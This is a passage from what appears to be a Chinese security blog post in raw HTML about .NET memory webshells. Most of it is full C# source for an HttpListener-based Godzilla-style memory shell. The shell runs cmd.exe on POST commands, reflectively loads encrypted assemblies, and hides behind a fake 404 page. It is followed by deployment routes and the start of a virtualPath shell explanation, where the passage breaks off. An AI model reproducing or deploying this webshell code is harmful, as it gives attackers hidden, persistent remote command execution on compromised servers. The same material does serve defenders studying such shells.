26px;">&#34;PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9zdHJpY3QuZHRkIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT5Ob3QgRm91bmQ8L1RJVExFPg0KPE1FVEEgSFRUUC1FUVVJVj0iQ29udGVudC1UeXBlIiBDb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXMtYXNjaWkiPjwvSEVBRD4NCjxCT0RZPjxoMj5Ob3QgRm91bmQ8L2gyPg0KPGhyPjxwPkhUVFAgRXJyb3IgNDA0LiBUaGUgcmVxdWVzdGVkIHJlc291cmNlIGlzIG5vdCBmb3VuZC48L3A+DQo8L0JPRFk+PC9IVE1MPg0K&#34;</span>;            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*             * &lt;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.01//EN&#34;&#34;<a href="http://www.w3.org/TR/html4/strict.dtd" target="_blank">http://www.w3.org/TR/html4/strict.dtd</a>&#34;&gt;             * &lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;Not Found&lt;/TITLE&gt;             * &lt;META HTTP-EQUIV=&#34;Content-Type&#34; Content=&#34;text/html; charset=us-ascii&#34;&gt;&lt;/HEAD&gt;             * &lt;BODY&gt;&lt;h2&gt;Not Found&lt;/h2&gt;             * &lt;hr&gt;&lt;p&gt;HTTP Error 404. The requested resource is not found.&lt;/p&gt;             * &lt;/BODY&gt;&lt;/HTML&gt;             */</span>            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> url = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;<a href="http://*:80/favicon.ico/" target="_blank">http://*:80/favicon.ico/</a>&#34;</span>;            listener.Prefixes.Add(url);            listener.Start();            <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] not_found = System.Convert.FromBase64String(nodata);            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> key = System.BitConverter                .ToString(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(                    System.Text.Encoding.Default.GetBytes(input_key))).Replace(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;-&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>).ToLower().Substring(<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">16</span>);            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*             * System.BitConverter.ToString将指定字节数组的每个元素的数值转换为其等效的十六进制字符串表示形式。             * System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash计算输入数据的 MD5 哈希值             */</span>            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> md5 = System.BitConverter                .ToString(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(                    System.Text.Encoding.Default.GetBytes(pass + key))).Replace(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;,&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>);            Dictionary&lt;<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">dynamic</span>&gt; sessionDictionary = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Dictionary&lt;<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">dynamic</span>&gt;();<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//dynamic的对象会绕过静态类型检查</span>            Hashtable sessionTable = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Hashtable();            <span style="color: rgb(198, 120, 221);line-height: 26px;">while</span> (<span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>)            {                HttpListenerContext context = listener.GetContext();                HttpListenerRequest request = context.Request;                HttpListenerResponse response = context.Response;                SetRespHeader(response);                Stream stm = <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>;                HttpContext httpContext;                <span style="color: rgb(198, 120, 221);line-height: 26px;">try</span>                {                    <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (ctx != <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)                    {                        httpContext = ctx <span style="color: rgb(198, 120, 221);line-height: 26px;">as</span> HttpContext; <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//传入的ctx为HttpContext类型</span>                    }                    <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>                    {                        HttpRequest req = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> HttpRequest(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>, request.Url.ToString(), request.QueryString.ToString());                        System.IO.StreamWriter writer = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> StreamWriter(response.OutputStream);                        HttpResponse resp = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> HttpResponse(writer);                        httpContext = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> HttpContext(req, resp);                    }                    <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> method = request.Headers[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Type&#34;</span>];                    <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (method == <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;print&#34;</span>)                    {                        <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] output = Encoding.Default.GetBytes(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;OK&#34;</span>);                        response.StatusCode = <span style="color: rgb(209, 154, 102);line-height: 26px;">200</span>;                        response.ContentLength64 = output.Length;                        stm = response.OutputStream;                        stm.Write(output,<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>,output.Length);                        stm.Close();                    }                    <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span>(method==<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;cmd&#34;</span>&amp;&amp;request.HttpMethod==<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;POST&#34;</span>)                    {                        Dictionary&lt;<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>&gt; postParams = parse_post(request);                        Process p = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Process();                        p.StartInfo.FileName = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;cmd.exe&#34;</span>;                        p.StartInfo.Arguments = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;/c &#34;</span> + postParams[pass];                        p.StartInfo.UseShellExecute = <span style="color: rgb(86, 182, 194);line-height: 26px;">false</span>;                        p.StartInfo.RedirectStandardOutput = <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;                        p.StartInfo.RedirectStandardError = <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;                        p.Start();                        <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());                        response.StatusCode = <span style="color: rgb(209, 154, 102);line-height: 26px;">200</span>;                        response.ContentLength64 = data.Length;                        stm = response.OutputStream;                        stm.Write(data, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, data.Length);                    }<span style="color: rgb(198, 120, 221);line-height: 26px;">else</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (method==<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;mem_b64&#34;</span>&amp;&amp; request.HttpMethod==<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;POST&#34;</span>)                    {                        Dictionary&lt;<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>&gt; postParams = parse_post(request);                        <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] data = System.Convert.FromBase64String(postParams[pass]);                        data = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.RijndaelManaged()                            .CreateDecryptor(System.Text.Encoding.Default.GetBytes(key),                                System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, data.Length);                        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*                         *System.Security.Cryptography.RijndaelManaged().CreateDecryptor                         * 使用指定的密钥和初始化向量 (IV) 创建一个对称的 Rijndael 解密器对象。                         * Rijndael（发音为 rain-dahl）是一种高级加密标准 (AES) 算法。                         * TransformFinalBlock计算指定字节数组的指定区域的转换。                         */</span>                        Cookie sessionCookie = request.Cookies[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;ASP.NET_SessionId&#34;</span>];                        <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (sessionCookie == <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)                        {                            Guid sessionId = Guid.NewGuid();                            <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> payload = (System.Reflection.Assembly)<span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Reflection.Assembly)                                .GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Load&#34;</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Type[] { <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(<span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[]) })                                .Invoke(<span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { data });                            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*                             *通过从字节数组加载程序集来创建 System.Reflection.Assembly 类的实例                             * 了能够使用反射，需要在项目中引用 System.Reflection 命名空间                             * 在使用反射的开始，你会获取一个 Type 类型的对象，从这个对象上进一步获取 程序集，类型，模块 等信息                             *                              * typeof(System.Reflection.Assembly) 获取 System.Reflection.Assembly type对象                             * 在 System.Reflection.Assembly 类型上调用 GetMethod(“Load”, new System.Type[] { typeof(byte[]) }) 方法                             * 以获取对其采用字节数组参数的 Load 方法的引用。                             * Invoke(null, new object[] { data })                             * 用于以空对象引用作为其对象实例参数并以字节数组数据作为其参数值来调用 Load 方法。                             * 这从字节数组加载程序集并返回 System.Reflection.Assembly 类的一个实例，                             * 该实例分配给 payload 变量                             */</span>                            sessionDictionary.Add(sessionId.ToString(),payload);                            response.SetCookie(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Cookie(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;ASP.NET_SessionId&#34;</span>, sessionId.ToString()));                            <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] output = Encoding.Default.GetBytes(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>);                            response.StatusCode = <span style="color: rgb(209, 154, 102);line-height: 26px;">200</span>;                            response.ContentLength64 = output.Length;                            stm = response.OutputStream;                            stm.Write(output,<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>,output.Length);                        }                        <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>                        {                            <span style="color: rgb(198, 120, 221);line-height: 26px;">dynamic</span> payload = sessionDictionary[sessionCookie.Value];                            MemoryStream outStream = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MemoryStream();                            <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> o = ((System.Reflection.Assembly)payload).CreateInstance(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;LY&#34;</span>);                            o.Equals(outStream);                            o.Equals(httpContext);                            o.Equals(data);                            o.ToString();                            <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] r = outStream.ToArray();                            outStream.Dispose();                            response.StatusCode = <span style="color: rgb(209, 154, 102);line-height: 26px;">200</span>;                            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> new_data = md5.Substring(<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">16</span>) + System.Convert.ToBase64String(                                <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.RijndaelManaged()                                    .CreateEncryptor(System.Text.Encoding.Default.GetBytes(key),                                        System.Text.Encoding.Default.GetBytes(key))                                    .TransformFinalBlock(r, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, r.Length)) + md5.Substring(<span style="color: rgb(209, 154, 102);line-height: 26px;">16</span>);                            <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] new_data_bytes = Encoding.ASCII.GetBytes(new_data);                            response.ContentLength64 = new_data_bytes.Length;                            stm = response.OutputStream;                            stm.Write(new_data_bytes, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, new_data_bytes.Length);                        }                                            } <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (method == <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;mem_raw&#34;</span> &amp;&amp; request.HttpMethod == <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;POST&#34;</span> &amp;&amp; request.HasEntityBody)                    {                        <span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> contentLength = <span style="color: rgb(198, 120, 221);line-height: 26px;">int</span>.Parse(request.Headers.Get(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Content-Length&#34;</span>));                        <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] array = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[contentLength];                        request.InputStream.Read(array, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, contentLength);                        <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] data = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(array, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, array.Length);                        <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (sessionTable[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;payload&#34;</span>] == <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)                        {                            sessionTable[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;payload&#34;</span>] = (System.Reflection.Assembly)<span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Reflection.Assembly).GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Load&#34;</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Type[] { <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(<span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[]) }).Invoke(<span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { data });                        }                        <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>                        {                            <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> o = ((System.Reflection.Assembly)sessionTable[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;payload&#34;</span>]).CreateInstance(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;LY&#34;</span>);                            System.IO.MemoryStream outStream = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.IO.MemoryStream();                            o.Equals(outStream);                            o.Equals(httpContext);                            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*                             * Godzilla重写了Equals                             * this.httpContext = (HttpContext)obj;                             * this.httpRequest = this.httpContext.Request;                             * this.httpResponse = this.httpContext.Response;                             * result = true;                             */</span>                            o.Equals(data);                            o.ToString();                            <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] r = outStream.ToArray();                            outStream.Dispose();                            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (r.Length &gt; <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>)                            {                                r = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, r.Length);                                response.StatusCode = <span style="color: rgb(209, 154, 102);line-height: 26px;">200</span>;                                stm = response.OutputStream;                                response.ContentLength64 = r.Length;                                stm.Write(r, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, r.Length);                            }                        }                    }                    <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>                    {                        response.StatusCode = <span style="color: rgb(209, 154, 102);line-height: 26px;">404</span>;                        response.ContentLength64 = not_found.Length;                        stm = response.OutputStream;                        stm.Write(not_found, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, not_found.Length);                    }                }                <span style="color: rgb(198, 120, 221);line-height: 26px;">catch</span> (Exception e)                {                    response.StatusCode = <span style="color: rgb(209, 154, 102);line-height: 26px;">404</span>;                    response.ContentLength64 = not_found.Length;                    stm = response.OutputStream;                    stm.Write(not_found, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, not_found.Length);                    Console.WriteLine(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Exception caught1: &#34;</span> + e.ToString());                    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//log(&#34;Exception caught1: &#34; + e.ToString());</span>                }                <span style="color: rgb(198, 120, 221);line-height: 26px;">finally</span>                {                    <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (stm != <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)                    {                        stm.Flush();                        stm.Close();                    }                    response.OutputStream.Flush();                    response.OutputStream.Close();                }            }        }        <span style="color: rgb(198, 120, 221);line-height: 26px;">catch</span> (Exception e)        {            Console.WriteLine(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Exception caught2: &#34;</span> + e.ToString());            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//log(&#34;Exception caught2: &#34;+ e.ToString());</span>            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (listener.IsListening)            {                listener.Stop();            }        }    }}</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">执行cmd，启动一个process执行cmd命令</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.37528604118993136" data-s="300,640" data-type="png" data-w="874" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=439b2d48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiahjBQYRZjxeic3ibRea8EDOMSm0bvFaaDRfWpzSSzhKdzdic5XHMJXQodg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">加载assmbly，base64解码后，用key进行aes解密然后反序列化加载payload，将结果夹杂在一段md5的16位中介返回</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5334900117508813" data-s="300,640" data-type="png" data-w="851" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=23949435&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaeksPoiaSMyHq5uX94hsibk0oXCpEd94hRBPZyhvH2azy0iapayibdgmticw%2F640%3Fwx_fmt%3Dpng"/></p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">使用方法</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">listener内存马就是一个起了http服务的exe或者dll，但是因为需要system权限所以很难用</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: square;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">执行exe</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">利用GadgetToJScript</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">利用aspx加载dll</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">利用反序列化漏洞加载dll</p></div></li></ul><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">详细命令在<a href="https://mp.weixin.qq.com/s/zsPPkhCZ8mhiFZ8sAohw6w及https://github.com/A-D-Team/SharpMemshell/tree/main/HttpListener" target="_blank">https://mp.weixin.qq.com/s/zsPPkhCZ8mhiFZ8sAohw6w及https://github.com/A-D-Team/SharpMemshell/tree/main/HttpListener</a></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">访问<a href="http://127.0.0.1/favicon.ico/启动成功" target="_blank">http://127.0.0.1/favicon.ico/启动成功</a></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.42209072978303747" data-s="300,640" data-type="png" data-w="507" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e62b27f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaFhjKIooiacYWUHpDU8uxuToib7PBE0IjK6rOfpUyUOrTqefL89uvfuXg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4601851851851852" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=81cbf8f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1LQeicsGtfCGuAq7icq2Iicsd56KmjibuwHB5iaf7Z8EhFWticibnU9qHrO8w%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">virtualPath</h3><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">哥斯拉virtualPath内存马</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">哥斯拉virtualPath内存马<a href="https://github.com/A-D-Team/SharpMemshell/blob/69ab8cff53689e53076b534537d384b3169be0cb/VirtualPath/memshell.cs#L146" target="_blank">https://github.com/A-D-Team/SharpMemshell/blob/69ab8cff53689e53076b534537d384b3169be0cb/VirtualPath/memshell.cs#L146</a></p></pre><div style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">VirtualPathProvider类提供一组方法，用于实现 Web 应用程序的虚拟文件系统。在虚拟文件系统中，文件和目录由服务器操作系统提供的文件系统外的其他数据存储管理。例如，可以使用虚拟文件系统将内容存储在SQL Server数据库中。</p></div><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">virtualPath内存马就是映射一个物理上不存在的ASP.NET页到URL中</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">写virtualPath内存马：</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: square;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">自定义一个类继承虚拟文件对象VirtualFile类，并且重写Open方法，该方法原本是读取数据库里的文件源码内容，但星主在该方法里替换成启动cmd进程的代码，访问/myvirtualfile.aspx 触发启动新进程</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">VirtualPathProvider提供给web应用检索自定义的VirtualFile，所以需要重写该类的GetFile方法，并实例化自定义的VirtualFile</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 